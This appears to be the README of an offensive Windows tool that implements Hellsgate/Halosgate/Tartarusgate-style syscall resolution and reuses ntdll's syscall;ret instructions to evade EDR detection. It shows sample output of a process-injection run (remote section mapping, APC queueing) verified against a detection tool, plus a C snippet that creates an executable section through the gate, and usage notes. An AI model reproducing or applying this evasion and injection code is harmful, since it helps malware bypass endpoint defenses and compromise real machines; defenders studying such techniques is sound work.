This is just another implementation of Hellsgate + Halosgate/Tartarusgate.

However, this implementation makes sure that all system calls still go through ntdll.dll to avoid the usage of direct systemcalls. To do so, I parse the ntdll for nonhooked syscall-stubs and re-use existing syscall;ret instructions - thus the name of this project.

This probably bypasses some EDR trying to detect abnormal systemcalls.
I have verified the sample program in this repository against syscall-detect by @winternl_t which uses the HookingNirvana technique to detect abnormal systemcalls.

.\Sample.exe HelloWorld.bin
[SYSCALL-DETECT] Console logging started...
[SYSCALL-DETECT] ntdll BaseAddress: 0x368508928
[SYSCALL-DETECT] win32u BaseAddress: 0x0
[*] Resolving Syscall: 916c6394
        Found syscall using Halos gate
        Found syscall; ret instruction
        Syscall nr: 74
        Gate: 00007FF9160100E2
[SNIP]
[*] Resolving Syscall: 8a4e6274
        Found syscall using Halos gate
        Found syscall; ret instruction
        Syscall nr: 188
        Gate: 00007FF916010F12
[*] Created section: 0x00000000000000B4
[*] Mapped section locally: 0x000001B244E50000
[*] Mapped section remote: 0x0000000000FE0000
[*] NtQueueApcThread successfull
[*] Resumed thread

The sample program can be found in the sample folder

Here is a snippet, which should be self-explanatory.

Syscall sysNtCreateSection = { 0x00 };
NTSTATUS ntStatus;

dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection);
if (dwSuccess == FAIL)
  goto exit;

PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate);
ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (!NT_SUCCESS(ntStatus)) {
  printf("[-] Failed to create section\n");
  goto exit;
}

Note:

• No lines of code should exist between the call to PrepareSyscall and DoSyscall
• The hash algorithm used is djb2. All hashes must be encrypted with the key 0x41424344. You can use the Hashgenerator in this repository

• Sektor7 for inventing and documenting Halosgate on which this project is based
• Sektor7 for the amazing windows evasion class
• @Am0nsec and @RtlMateusz for the original Hellsgate implementation
• @0xBoku for inspiration and his Halosgate implementation
• @trickster012 for the implementation of Tartarusgate
• @winternl_t for the amazing blogpost on detection of direct syscalls